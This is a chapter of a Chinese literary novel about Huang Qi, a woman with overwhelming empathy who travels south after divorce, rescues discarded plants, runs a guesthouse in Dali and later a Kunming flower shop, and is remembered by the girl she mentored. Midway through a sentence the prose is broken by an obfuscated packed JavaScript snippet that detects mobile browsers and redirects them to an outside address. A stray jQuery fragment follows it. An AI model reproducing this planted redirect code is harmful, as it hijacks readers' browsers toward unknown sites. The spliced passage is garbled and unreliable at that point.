02 空气流通，水能流透，根不闷着
柠檬握在手中的那一刻，二更产生了奇特的感受，某种情感一瞬间触发了。通常，人们把这种感受叫做共情。但二更感受到的，是树的主人黄杞强烈的共情能力，她对这个纷繁世界所感受到的各种汹涌情绪。
黄杞，是共情能力很强的人。
从小，她就能敏锐地觉察到家里人的情绪，那些幽微的，藏在家具缝里、地缝里的情绪，成人之间好不容易按捺下来的负面情绪，小孩子应该不懂也觉察不到的情绪，她都能感受到。她甚至知道它们躲在哪里，床背后，厨房老的木桩砧板地下，筷子盒底的水渍。
情绪对她来说，像无线电波一样，没有表征，却可以被接收，哪怕她也不想这样。
黄杞的家庭餐桌上，常年无人说话，然而每一个人内心的不悦，她都可以感受到到。一次，家里吃火锅，父亲用扳手扭动塑料壳已经坏掉的旋钮时，她能感受到他内心的愤怒。他因为昨晚母亲没有好好对待奶奶存下的愤怒，足够把眼前一锅热汤直接砸翻。他忍住了，她知道。但她也因此，在某种程度上，被烫伤了。这样的伤，在黄杞的童年中，不计其数。但无人可以倾诉，渐渐地，她伤痕累累，变得沉默寡言。也罢，在家里，原本就是没有什么空间可以说话的。
小小的人，容纳了许多事不关己的忧愁，家庭成员之间隐隐的矛盾与各自的淤堵，她都有所沾染。所谓有限身，千岁忧，就是这样。所以她不是很会笑，很少哈哈大笑，几乎没有由内而外地轻松过。
少女时代，黄杞是朋友之间最好的倾听者，因为她懂。并不是她想懂，而是因为，看透别人的情绪很简单。她并不是主动想看的，然而她和这些情绪似乎连了线一般。当小姐妹们说这个男人好不好看、那个男人是不是对她有意思，如此种种，她总是能用最恰当的温度去倾听，表情温和，不多打听，恰到好处的“嗯”“然后呢”，像一只勤快的蚯蚓，把别人内心的瘀滞与踌躇，都暖化了，流动成一道潺潺小溪。更何况，她沉默寡言，从不嚼舌根，也不会主动和人聊天。这样的人做倾听者，再合适不过了。
和她聊天真舒服啊，她总是能精微地调动这条小溪的流速与流向。小时候的她，也会感受到引水为渠的乐趣。毕竟那时，小姐妹的想法都很单纯简单，无非是小男孩小女孩之间的青梅情愫。
成年后，每个人心思都复杂起来，各怀鬼胎。溪水不再清澈，它们迂腐、混乱，散发出不好的味道。于是，这种高度的共情天赋变成了一种惩罚。她比别人需要更多的时间，去澄清一天之中吸纳和感受到的种种情绪。如万箭穿心一般，太多和自己无关的情绪都能穿过她，但没有穿透，停留在她身体里，像挂在树杈上的风筝，飞不动了，落成了自己的苦果。
怎么办呢？一度无解。她认命了。
结婚前，她就知道，老公并不爱她。不过这无所谓，她也不爱他。她们像那个年纪的许多人，无非是什么年龄干什么事，从来没有考虑过反击。婚后三个月，老公就不耐烦了。她也知道。于是一年后，她就找了理由，提交了证据，结束了这段婚姻。
其实男人出不出轨，对她来说并没有那么重要。如果在“不许说谎法庭”上，回答“不许说谎法官”的询问，她会如实交代：丈夫的情绪很浑浊，他家人也是。所以她总是处在一种混乱的情绪负担之中，在浑浊的海水里游泳，喘不过气。情绪过载，过不下去了。但这样说，无人能理解。所幸，老公“争气”，婚内出轨多次，见黄杞不吵不闹，他也不避讳。黄杞只需稍微用心，就能找人拍到证据，够用得很。
她有充足正当地理由成为婚姻的受害者。但只有她知道，她逃离的从来不是婚姻，不是一个出轨的丈夫，一个吵吵嚷嚷的家庭，而是自己黑洞一般无底，浑浊凝固的内心。它彷佛是一个塞满了发霉衣物的衣柜，就快要倒塌了。
离婚后，为了清空藏污纳垢的心，她一直在跑。开着车，从北方到南方，尽量往温暖一些的地方跑，毕竟太阳晒着，身子里的血液也会流动得更快一些，排污也会快一些。她一直如此相信。
车开起来，逃离的意识浓烈了，彷佛一辈子收纳过的情绪忽然醒来，都在追击她。受不了的时候，她就停下来，找个酒店去洗个澡。
和前夫在一起的时候，他按照喜欢的温度，把家里的热水器持续固定在45度。而黄杞怕冷，每次要调，都会吵架。后来她觉得麻烦，索性什么都不做了。就这样，黄杞洗了一年多45度水温的澡，夏天还可以，冬季就会冷。
如今，哪怕被坏情绪追击着，她终于能按照自己喜欢的温度洗澡了。真好。
往南走，她知道南方暖和。她想找个流浪汉都冻不死的地方，这样她也冻不死。原本打算去江南，但她怕蟑螂。有人告诉她，云南干燥一些，蟑螂少。她的积蓄不多，算了一下，刚好能到西南，走走转转，找个地方，做点小生意。做下这个决定的那一天，她跑去电影院看了一场喜剧电影。一屋子的陌生人，捧着喷香的爆米花，在同样的笑点哈哈大笑，这种体验对她来说，也像是在排毒。
很神奇地，大概是一路排了些心毒，进入西南后，她不是那么着急了，心也不自觉地放宽了，偶尔会在一地多住几日，过过久违了的日子。离开时，把自己带上就足够了。这里的人们说话的语调，她这个中原人能听得懂。如果人们说话有形状，云贵川渝的话，肯定不是一条线，而是不断地波浪线，每个话音最后都是圆兜兜的，有点撒娇的意味。她挺喜欢，有时候会学着说，一边学，一边笑。
一次，上路之前，她在酒店门口捡到一盆花。三盆塑料盆自吸水的绿萝，叶子有点黄了，但还是活着的。这条街上都是小店，两、三个门面正在装修。绿萝，大概是前一家店里的东西，搬走之后直接丢了。
她想，车上正愁有点单调，便收留了三盆绿萝。
这是一个开始。此后，她越收越多。
因为累了，身体有点吃不消，她在贵州安顺市找了个短租的房子。小区里有不少年轻人，每次路过垃圾桶，开面都有许多塑料外卖餐盒。时不时，还有花。现在城里扔花的人真多啊。有时候是一束花，有时候是带着花盆一起。她把还能活的盆栽捡回来养。那段时间，赶上春节，她捡过最多的就是蝴蝶兰。还有几朵花苞时，就被人丢掉了，其实放几天还能开。再有就是桂花，被浇了太多水，掉了叶子。晒一下，根缓过来后，还能养。她还捡过拖把，是一个拖把样子的蟹爪莲。被捡回来后，养了十几日，它开出了白色的花，拖把头变成了仙女散花。
黄杞怀疑自己是一棵树，是木命，被丢的植物在她手里都能活。家里，渐渐备了一些常用的驱虫药，喷一喷，抹一抹，一些植物就能缓过来。再不济，就求老天爷下一场雨。雨水一救，快不行的花也能活。
从安顺兜兜转转到六盘水时，黄杞遇见了一个在小区里收留植物的老太太。
孔老太的植物收容花房，叫做雪花亭。过去这个凉亭曾经爬满了爬山虎，在某一年，爬山虎太过茂盛，又生了病，小区无奈地进行了清理。亭子的石柱上留下了它过去攀爬过的吸盘，风吹日晒，渐渐变成了刻在柱上的雪花。人们便把这个亭子叫做雪花亭。
黄杞住进这个老小区的时候，一个女孩正在对着一盆垂丝茉莉哭。一边哭，一边很抱歉地说，“不好意思，没有养好你。”据女孩说，最近它一直在落花，怎么都止不住，看起来也不精神了。花看起来也会不精神，仔细养过花的人，打眼一看就知道。一个老太太说，“没关系，你放这里，我来养养她。”她重新换了盆，换了土，给根松了口气。盆地放了几块弧形凸起的瓦片，确保透气漏水。
黄杞记下了这个老太，住进来后，时不时过来聊几句。住进这个院里，黄杞就再没捡过被丢的半死不活的盆栽了。大概，都在被丢之前，被孔老太治好了，或是收留了。过了小半个月，那盆养在雪花亭里的垂丝茉莉，也重新活了过来。女孩大喜，但不敢再把它搬回家，毕竟那是一个见不得日光的北向阳台。就留它在雪花亭里吧，能吹着风，淋着雨，还有老神仙一般的孔老太看护，她总是能妙手回春。
这段日子里，老太太教黄杞很多技巧。“人们都说，爱人如养花，其实，养花如爱人”，孔老太说，“空气流通，水能流透，根不闷着，按着不同植物的喜好，给水，给太阳，就这么简单。”老太太拿着一个葫芦瓢舀满了水，往一株长势很好的幸福树下浇去。几秒钟后，花盆底就就留出了水。幸福树窜得茂盛，像初高中生压不下去的头发，总要昂扬起来。黄杞看着水流，悟出点东西来，应该像养花一样养养自己。让水流出来，哪怕它像一颗子弹，穿过胸膛，就让它打出去，哪怕有点疼。过去也就好了。处理情绪和那些头脑里冗杂的丝线，也如同这样，就好了。
离开院里时，黄杞把自己车里捡了养的花，都托付给孔老太了。其中一株小的金桂，植株不大，亭亭玉立地，正开着花。老太太很是喜欢。老太太执意要送黄杞一盆好养活的花，带着继续上路。那是一盆小小的玉树。这种多肉并不娇贵，她小时候也见过。邻居家的玉树长到了脸盆架子那么高，一问，竟然是女儿问小学同学家掰下来的。女儿自己都忘记了，再想起问时，女儿自己的娃娃都和玉树一般高了。这么好养活，随身带上，也不会有什么负担。她便接下了。
下一站，云南大理。在租金还算便宜的时代，她找了家小院子，开起了民宿。院子本来是一个从从闽南来的姐姐盘下来的。女人在厦门有房，生了孩子，但不结婚，房子孩子都在自己名下。这一年，因要照顾生病的父母，她只能将刚打理好的院子转手。为了吸引客人进院，原主人甚至就在门口搭好了花架子。一半是紫藤，一半是黄木香。打算养几年，养出效果：盛放时，紫黄相接，瀑布丰美，花香浓郁。只可惜，匆忙转让时，她自己是等不到这画面了。
来云南后，黄杞发现，植物在这里，比贵州更好活，甚至比孔老太的雪花亭里更好活。黄杞老家有大树，也种小麦。老家的树会落叶，小麦要在春天播种。人要在规定的时间里做固定的事，才有得活。但云南不是。云南一年四季都开花，种子随便一撒，什么时候撒在哪里，都有机会活。这里的植物，天生有鼓舞人心的天赋。
但不好的是，正因为植物很好活，人们难免会对它们轻视，植物们会被轻易地丢掉。商业街上的小店开了又关，买回来吸甲醛的白掌、绿萝在闭店后被丢在门外。黄杞将它们捡回院子。每盆都状态不太好，有些原本挤在一起的三五株，只有一两株存活。她买了一个很大的低矮鱼缸，所有还能活的白掌和绿萝就养在里面。鱼缸满了，白掌、绿萝们渐渐活了过来。
捡回来的植物中，有许多被丢掉的多肉，因为样子不好看了，形状坏掉了被丢掉。比如街上店面会买钱窜、金枝玉叶这类被商家赋予发财寓意的多肉，但其中有不少是药锦，艳丽的颜色完全是被药催出来的。买回家后，活不长久，很快就被丢了。黄杞把它们处理一下，摘掉打药的部分，放在院里一处小偏房的屋顶瓦片上，老天爷会帮忙养，帮忙浇水。后来它们顺着瓦片的坡度，从高处往下爬，慢慢就变成了屋檐上的多肉雨。有些坠了很久很久，都不掉落。万一枝条哪天掉下来，不怕，再扔上去，天怜小家雀，它会继续长。子子孙孙无穷匮也。
人们丢掉植物的原因，很大一部分是因为对它们没有耐心，只在长得好时喜爱，一旦衰败，植物就成了累赘。自从黄杞开始一路收养植物，她对植物的长势也有了更多宽容和耐心。生虫，叶黄，落花，往往只是一时的低落，适当呵护，耐心等待，它们还能恢复。在这个过程中，她也在养自己。孔老太所言，养花如爱人，所言不虚。面对植物的衰荣，她对自己的人生也有了体悟。捡回来的每一盆植物，落下的旧叶、摘掉的枯枝，就像她身上的多余的不必要的情绪，时常清理就好。它们长出的每一片新叶，对她而言，都是在肯定她对人生新的体悟。枯荣，增减，旁逸斜出，都是常事。只要稳住自身的生命节律，人和植物都能继续好好生长。
开民宿，她定了个规矩。虽然这个规矩会影响店里的生意，但她还是定了：只接待女孩子。
她对人的情绪对敏感了。她直到年轻女孩子单独出来玩的时候，心情最敞亮。没有旅途之中照顾一家人的琐碎事，不会和谁中途吵到分崩离析，也不会因要忍耐把心中小毛刺按下，反复在脑海中反刍。单独旅行的女孩子们多美好啊，带着甜蜜的轻盈的笑容，穿着好看的裙子，走路都带着轻风。她愿意为她们提供一处安全的住所。
但也有例外，孙杭樱进院子的时候，身上很沉。她脸上有忧伤，包里还有带着药，她过得很辛苦，就像......过去那个不懂得放过自己的自己。
她没有犹豫，把女孩叫了进来。她感受到女孩内心阴凉，便找了小院里能暖身的东西，放在她身边，叫她好好休息。下雨，房檐滴水。开始，只是几滴水淅淅沥沥地滑下，渐渐水滴连成线。黄杞很安静地听女孩诉说，时不时把茶桌上凉了的茶倒掉，她想让女孩随时抱起来的任何一刻，手里茶杯都是暖的。而她自己的这杯，也没怎么喝，只是天凉，茶凉得快。于是，黄杞的手就没有停过。一会儿，自己手里的凉茶倒掉，再倒杯新的。一会儿，女孩的凉茶倒掉，再添好热腾腾的。再一会儿，她得起身搬几盆花花草草到屋檐下，让老天爷浇一浇雨水，看着雨水从花盆底流出，流到石砖的细缝里，和落雨一起滋润青苔，她就安心。
出来这一两年，黄杞已经学会对身上那个共情天赋强烈的开关，大多数时间关闭。但对一些偏爱的人，她会短时间内打开那种天赋。这种技艺，她花了些时间慢慢掌握，比如观察自然，看流水流动，跟着太阳的东升西落调整作息，追随天光散步，在清风里静静呼吸和吞吐。那天，她将开关打开，去感受女孩内心的淤堵与诉求。她带着女孩缝补玩偶，翻弄湿土，种下新的花，她没有打听女孩任何的旧事，只是找了点曾经翻新过她内心的小事，试着治愈一下另一个人。开关打开了，就有各种情绪被吸收进来。但黄杞已经懂得，它们只会是一场雨，从天而来，入地而去，只留下一些潮湿，清新的水汽，于心神无碍。该睡觉时，统统会被请出房间，不影响她，干干净净地休息，迎来新的一天。
和女孩的相处很愉快，她走后，又一次回来，还带来了礼物。女孩似乎很喜欢送她好看的茶具。还有一次，女孩带了适合放在院子里的流水摆件。她收留女孩，教她浇花，教她去洱海散步，教她跟着山河日月一起生活，教她接受心浮动，接受情绪起起落落，教她和情绪分居，顾好最单纯的那个自己。
这些处理情绪的方法，是她复杂前半生的磕绊里，磨出来的一颗珍珠。一颗蚌里的珍珠，曾经进了沙子，磨出过血，尝够了痛，最终，吐出来的一颗珍珠。这是她一生最能拿得出手的东西了。她把它当成一个礼物，送给了这个有缘的小女孩。第一眼见她，她就觉得女孩像从深海里爬来的人，一身海水湿重，心和眼却是纯澈的。她能渐渐好起来，她很欣慰。
女孩刚来的时候，黄杞就一边请她喝茶，一边让她看着自己浇花。女孩又回来时，黄杞教她如何看护院里的花花草草。相处的日子不长，但日日如珍珠，细腻闪亮。她觉得女孩像她浇过水的一盆花。云南人是会带着花出门的。生得不好的花，缺少日照的花，都会被主人带着下楼或者放到天井里，接受老天爷的安抚，包括太阳光和雨水。这些年，日子好了，一到年节，大家喜欢买年宵花。那些家里日光少的人，为了让杜鹃、水仙能在刚好的年节开放，也会带用买菜的小车甚至用婴儿车推着花草出门晒。
女孩最后一次来院里住，又要离开，去昆明读书。就像她养的一盆花，要走了，她很是舍不得。日光晒不到怎么办？不懂自己喝雨水怎么办？水浇多了根烂掉了怎么办？
正巧，她身体出了问题，去昆明的医院处理，她更安心。她自己也要动，不妨，一起动。索性，也去昆明吧！她像女儿，也像姐妹，女人之间的关系很难说，一些深沉的，彼此之间不必言说的疼惜，超越血缘，穿过□□直击灵魂。
黄杞只是可惜，不能把所有植物都带走。起初，这些植物只是种在她的院子里。后来，也种在她的心里，很遗憾，它们不能种在她的未来里。她带着女孩尽了最大努力带走了一些。但扎根了的，比如那门口已经长成了一幅画的紫藤与结香，就留在这里，托付给下一任主人好好照料。
在昆明，黄杞的积蓄刚好能收拾出一家中等规模的花店。早在东捡一盆，西捡一盆的时候，她就有了一个花店的梦。
年轻的时候，她是看不了太多鲜花的，情绪上负担不起，花谢花开，让人感伤。日子过的不舒坦，情绪堆积，每一片轻飘飘的落花到了她这里，都重得像陷入泥沼里的鞋，拔不出来。现在不同了，黄杞活开了。花谢花开总有时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294824|198549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。变成杞老板之后的黄杞，每天都要和折损的花打交道。她知道有些花会去到爱惜它的人手中，也有一些，会被当做不合时宜的礼物被丢弃在垃圾桶。这些她无法掌握，在自己手中时，好好尽心便是。
情绪负担、过度共情这个事，她好久没有想起来了。来昆明之后的这三、四年，她仍是一个人生活，过得从容清淡。这，就是她想要的人生。
另一件好事情，孙杭樱在昆明考上了一家职业学院，选了花卉生产与花艺专业。一有空，就过来店里帮忙。孙杭樱会用自己学到的东西，为店里做花艺设计。杞记从最初的小门头，变成了联排的两个店面。孙杭樱还做了件让她十分惊讶的事：学了散打班。女孩和她疏导情绪的方式完全不同，读书这几年，她从四段打通过六段，在业余选手中算不错的水平，应付日常防御足够了。一个身体强健又通畅的人，情绪不会走到死胡同里去。黄杞走之前，很放心。
这盆花，她也养得不错，甚至长出了她意料之外的刺。这能确保它不被随意折损。
但可惜，只能养到这里了。
--
次日，傍晚，姜籽跟着二更如约出现在店门口。
“我知道这家店”，姜籽的语气中带着些许遗憾，她走进来，下意识地摸了摸右手边的一排花架。“这里曾经是昆都海棠盆栽养丰富的地方，那时我想画秋海棠，找了最多家店，才找到这里。”
那是姜籽第一次尝试商业性质的插画。一家老字号的云南中草药品牌，在推广一种新品，用某种秋海棠入药治疗女性月经不调的新品。姜籽应邀绘制系列推广物料。对方有两个需求，一个是古典韵味的插画，用于商品包装，另一个需求允许画家进行更大胆的艺术性创新，用于店面展陈。第一个任务很快完成了，第二个任务，她总是觉得缺了点什么，迟迟未让自己满意。为了寻找灵感，姜籽到几家开得很大的知名的花艺店寻访，也没什么收获。那段时间，在高端绿植市场，色彩特殊的秋海棠很火。它们会被换上精致的花盆，摆在商圈人来人往、喷着香薰的花艺店面里，定价不菲。姜籽也觉得它们很好看，却多少有些束手束脚后的拘谨，她感受得到。
换个地方，姜籽那天又来到四、五公里之外的花市街。那个傍晚，杞记店里摆着各种颜色的秋海棠，日落秋海棠、宇宙糖果、虎斑秋海棠、黑武士秋海棠、铁十字秋海棠。它们被安置在很特别的一束柔光里。姜籽询问可否在店里画几笔速写，在告知来意后，店主热情地欢迎了她，还端来一杯菊花茶。那个傍晚，那一束特别的光，打在春城最美的秋海棠之上，填满了所有的叶子带给人的遐想空间。
为了不让来客打扰姜籽，店主很体贴地暂时关了门，挂上店休的小木牌，店里的光却丝毫未受影响。彷佛，光被小心地关在了房间里。秋海棠的叶子被镀上金色。在姜籽的角度看，叶子充满光亮，但动一动视线，有一刻，它又彷佛枯黄了。黄杞在一旁看姜籽的动作，见她迟迟未动笔，猜她一时堵在了哪里，于是好心安慰说，“叶子在光里，从不同角度看，有枯有荣，人的心思，随光流动，也是如此的。一时不太顺畅，动一动，换个角度，光是流动的，不必急躁。”
这给了姜籽启发，那一系列的作品都洋溢着一种暖阳气息，冒着热气的红糖姜茶一般，恰好适配了这款新品的主题，同时，又带着光的流动效果，奇妙地展现出了气色提升的联想。姜籽的第一次商业插画尝试，在杞老板的加持下，顺利完成。
“那时，我问老板，那可不可以帮你也画一幅画。画店里的模样，画任何一株特别的植物，都可以。她说，就画滇缅秋海棠吧。这种秋海棠的叶片因表皮细胞中存在一种特殊的叶绿体，能呈现出熹微的蓝色光泽。它所呈现出的蓝色光泽，恰好可以用水墨的形式呈现。我画完之后，很得意。她很喜欢，捧着看了很久，她又问我，可不可以在叶子上画一只小小的虫。我问什么虫，她说，待绿色光的萤火虫？她觉得画面里可以再加一点光，一点点，就够了。”
那一刻姜籽至今记忆深刻。“在一个填满了夕阳的房间里，满目皆是好看的叶子。一个很温柔的女人跟我说，她想要，一点光。”
很遗憾，念着一点光的杞老板，离开了。
此时，恰是姜籽一年前作画的时刻。姜籽感受到了和那时相同的一束光。那时，她沉迷于作画，虽然很爱这束光，却并未想到追究。现在，她要好好研究这束光。
傍晚时分的光，对面的西向的一栋楼，将夕阳以奇妙的反射方式，送进了店里。杞记的墙上摆放的棱镜与雪花小摆件，开始显灵，光影在这里碰撞，在不为人知的小角落，制造出奇特的迷你彩虹。如果姜籽那时候细看，她会像今天这样发现，花店变成了一座瑰丽的魔法屋，自动打开了暖光模式。
二更夜被这束光惊艳到了。她在更加空荡的店中踱步，像寻宝一样，寻觅到了几处棱镜造出的彩虹。过往，它们藏在拥挤的花架、花瓶之间，除了黄杞和孙杭樱，轻易不被其他人发现。但现在，它们愿意欢迎这一对幸运的新客人。二更把一束细小的彩虹，捧在手心。它轻微地晃动，手心像鞠了一捧水。二更想起，她有次在滨江西路散步，也是一个夕照时分。夕阳余晖刚好被两座大厦，截成了一段四四方方的长条形，投射在盘龙江面，像有人切了一块四四方方的小蛋糕，恰好摆在了江水里。她那时晃神，世间有没有裁切光的精灵呢？如果有，那么，她一定是偏爱杞记的。
黄杞是一个被光亲吻过的人。几年间，天气好时，每日傍晚的夕阳定时来送。二次光降临的时刻，是黄杞每日整理情绪的时刻。无论日子过得如何，她会在这一束光里，完成情绪的送往，在关店之前，将它们留在这里。她给这束光起了个名字，“二次光”。
“她很喜欢在这束光里整理鲜花”，孙杭樱说。
“有次，我们一起理花。那是几把香雪兰，还没开，花苞很多，但已经有浓郁的香气了。我说，香雪兰这种一枝上有许多花骨朵，一个接一个慢慢开，我总是要等到这一枝上最后一朵花凋落，才舍得把它丢掉。那时候，花枝已经发臭了。黄姐却说，不必等一把香雪兰全都开放，在根系还没有腐烂发臭时，就可以丢掉了。放它走，在你能想象剩余花苞尚能开放的时刻。
但凡是真的花，一定有枯荣。如果花对这个世界诚实，你也要对花诚实。在它盛开绽放的时候，好好欣赏它的美，在它要走的人，从容送走，就挺好了。
我后来才晓得，她其实，在教我，离开她。”孙杭樱说到此处，又哽住了。
日落之后，云有余温，太阳把一部分灵魂藏在了其间。二更觉得，眼前的女孩，也是余晖，黄杞留在这个世界上的余晖。所以，她能够想象落日有多美。但女孩内心仍有悲痛，尚未彻底放下，她眼下的黑眼圈说明了她近日的睡眠似乎再度不佳。
想让气氛轻松一些，姜籽提议，在孙杭樱正式闭店重整之前，她会带走了店里所有尚未找到主人的植物，包括那棵柠檬树，和孔老太送给黄杞的玉树。她许诺孙杭樱，他日店面重开，还可以将它们请回来。
拉走了一车植物，姜籽觉得有些抢掠的感觉。于是，一个月后，忙着装修店铺的孙杭樱，收到了一份快递。
这是一份礼物，也是一个世界上独一无二的手作绘本。姜籽用镂刻的方式，刻画了一个女主角从北方到南方一路的花草旅程。起初，是一个女人开着一辆小卡车向前的简单画面，随着页数的增加，植物逐渐丰富起来，月季、白掌、蓝雪花、虎皮兰、玉树、晚饭花、飞燕草......每翻过一页，新的花草就会出现在小卡车的后座，或是围绕在女人的四周。直到最后一页，卡车在新一页的叠加后，变成了一个鲜花簇拥的明亮花店。花店有一扇窗，透过它，女人望向更纯净的远方。
姜籽在每一页用特殊的笔勾勒出很细腻的装饰图案，包括一些植物的落花、落叶，以及一小段的彩虹，用蜡烛等光源照射时，它们才会显现。这份灵感来自于杞记里的“二次光”，这些藏起来的图案中，还有一个小女孩。姜籽给孙杭樱塞了一颗青色的苹果香气的蜡烛，“回去点，好好找。会找到的。”
二更也夹杂了一份嘱咐。当绘本翻到最后一页，有一个小小的卡片夹着，上面写着，
“过去事已过去了，未来不必预思量。只今只道只今句，梅子熟时枙子香。
预祝，在新的生命阶段，和过往的情谊，分居顺利。加油！”